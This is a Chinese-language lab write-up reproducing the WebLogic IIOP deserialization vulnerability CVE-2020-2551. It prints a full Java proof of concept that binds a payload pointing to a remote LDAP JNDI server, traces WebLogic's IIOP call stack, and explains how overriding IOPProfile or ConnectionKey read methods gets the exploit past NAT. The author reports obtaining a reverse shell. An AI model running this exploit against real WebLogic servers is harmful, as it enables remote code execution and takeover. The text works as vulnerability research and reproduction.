在复现Weblogic
中的CVE过程中,针对IIOP协议的利用,有一个经典的CVE是CVE-2020-2551,在进行这个POC的构造过程中,发现我使用vmware虚拟机下使用docker搭建的weblogic服务
直接使用下面的POC
public class CVE_2020_2551 { public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, final Class<?> ... ifaces) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception { return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map); } public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[0] = iface; if (ifaces.length > 0) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces , ih)); } public static Map<String,Object> createMap(final String key, final Object val) { final Map<String,Object> map = new HashMap<String, Object>(); map.put(key,val); return map; } public static void main(String[] args) throws Exception { String ip = "192.168.153.136"; String port = "7001"; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port)); Context context = new InitialContext(env); // get Object to Deserialize JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0"); Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class); context.bind("hello", remote); } }
将会出现错误,报错了?
连接被拒绝
之后跟了一下逻辑
我们根据报错的调用栈,可以定位在weblogic.iiop.EndPointImpl#send
方法中
发送的是LocateRequest
该方法的调用是在sendReceive
方法中
在发送了request请求之后,使用getReply
方法处理response回复
调用栈为
send:1129, EndPointImpl (weblogic.iiop) sendReceive:1168, EndPointImpl (weblogic.iiop) sendReceive:1186, EndPointImpl (weblogic.iiop) locateNameService:204, IORManager (weblogic.iiop) createInitialReference:123, IORManager (weblogic.iiop) string_to_object:341, ORB (weblogic.corba.orb) resolve_initial_references:235, ORB (weblogic.corba.orb) getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming) getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming) getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming) getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop) getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop) getContext:315, Environment (weblogic.jndi) getContext:285, Environment (weblogic.jndi) getInitialContext:117, WLInitialContextFactory (weblogic.jndi) getInitialContext:684, NamingManager (javax.naming.spi) getDefaultInitCtx:313, InitialContext (javax.naming) init:244, InitialContext (javax.naming) <init>:216, InitialContext (javax.naming) main:43, CVE_2020_2551 (pers.weblogic)
在IORManager#locateNameService
方法中
在创建了一个LocateRequestMessage
对象之后传入了sendReceive
方法中进行发送LocateRequest
对象,而在sendReceive
中,返回的是var1.getReply
返回得到的是一个LocateReplyMessage
对象,在locateNameService
方法中调用needsForwarding
返回了一个IOR
对象
在其中的iopProfile
属性中,得到的host / port
分别为0.0.0.0 / 7001
,这里0.0.0.0代表的是自己本机的地址,本机是没有开启weblogic服务的,这里就是导致使用虚拟机docker是不能直接利用的原因
之后就是调用resolveObject
方法进行后续处理
其中在上面提到的getReply
方法的调用过程中,返回的是SequencedRequestMessage
类的reply
属性值
如果我们能够控制这里返回的reply
属性的值,修改其中的host为带有weblogic服务的地址,就能够利用成功
在全局搜索reply
之后,只有在notify
方法中才有对应的赋值
我们在该方法位置打下断点之后调用栈为:
notify:25, SequencedRequestMessage (weblogic.iiop) handleLocateReply:1056, EndPointImpl (weblogic.iiop) processMessage:535, EndPointImpl (weblogic.iiop) handleMessage:500, EndPointImpl (weblogic.iiop) dispatch:324, EndPointImpl (weblogic.iiop) dispatch:126, ConnectionManager (weblogic.iiop) dispatch:298, MuxableSocketIIOP (weblogic.iiop) dispatch:298, BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:913, SocketMuxer (weblogic.socket) readReadySocket:842, SocketMuxer (weblogic.socket) processSockets:335, JavaSocketMuxer (weblogic.socket) run:29, SocketReaderRequest (weblogic.socket) execute:21, ExecuteRequestAdapter (weblogic.work) execute:145, ExecuteThread (weblogic.kernel) run:117, ExecuteThread (weblogic.kernel)
在这里为reply
属性赋值的LocateReplyMessage
对象的ior
属性对象中的ioProfile
属性中的host是0.0.0.0
根据前面的分析,我们知道我们需要将这个host指向带有weblogic服务的ip地址
所以我们向前追溯LocateReplyMessage
类对象的实现
通过在调用栈中寻找,其出处是在weblogic.iiop.EndPointImpl#dispatch
方法中得到的
通过调用createMsgFromStream
方法得到LocateReplyMessage
对象之后调用handleMessage
方法处理该消息
跟进createMsgFromStream
方法
根据消息的消息头进入不同的case子句,这里为case 4
创建了一个LocateReplyMessage
对象,传入的参数分别是消息头和输入流对象
调用了read
方法对数据进行解析
使用了IOR继续进行解析
最后调用的是Profile#read
方法对数据进行处理
创建了一个ConnectionKey
对象,其构造方法调用对应的read
方法进行数据处理,在调用ConnectionKey#read
方法对数据进行处理
获取到了对应的ip和对应的port
之后再在Profile#read
方法中,调用var4.getAddress / var4.getPort
方法获取ip / port
这里的var4
变量没有什么特别的用处,只是获取了Address / Port
数据,我们如果能够手动修改this.host
为搭建有weblogic服务的address,就能够成功进行利用
所以我们需要重写IOPProfile
类中的read
方法
直接在项目文件下面创建一个weblogic.iiop
的包,下面带有IOPProfile
类
其中的read
方法
改造之后获取到的IOPProfile
对象为
现在指向了正确的ip和port
本地搭建一个JNDI注入工具服务,监听本机的8000端口
运行前面提到的POC
成功反弹shell,使用这种方式是能够绕过NAT的
类似的上面的处理是在IOPProfile#read
方法中
最初使用的是ConnectionKey
对象的getAddress
方法获取的ip地址,所以追其来源,是在ConnectionKey#read
方法中获取数据中得到的,我们可以直接在这个位置进行处理
修改后的read
方法为
值得注意的是这里是不能够直接进行赋值的,需要首先获取到0.0.0.0的ip地址之后进行覆盖操作
这种方法同样能够成功反弹shell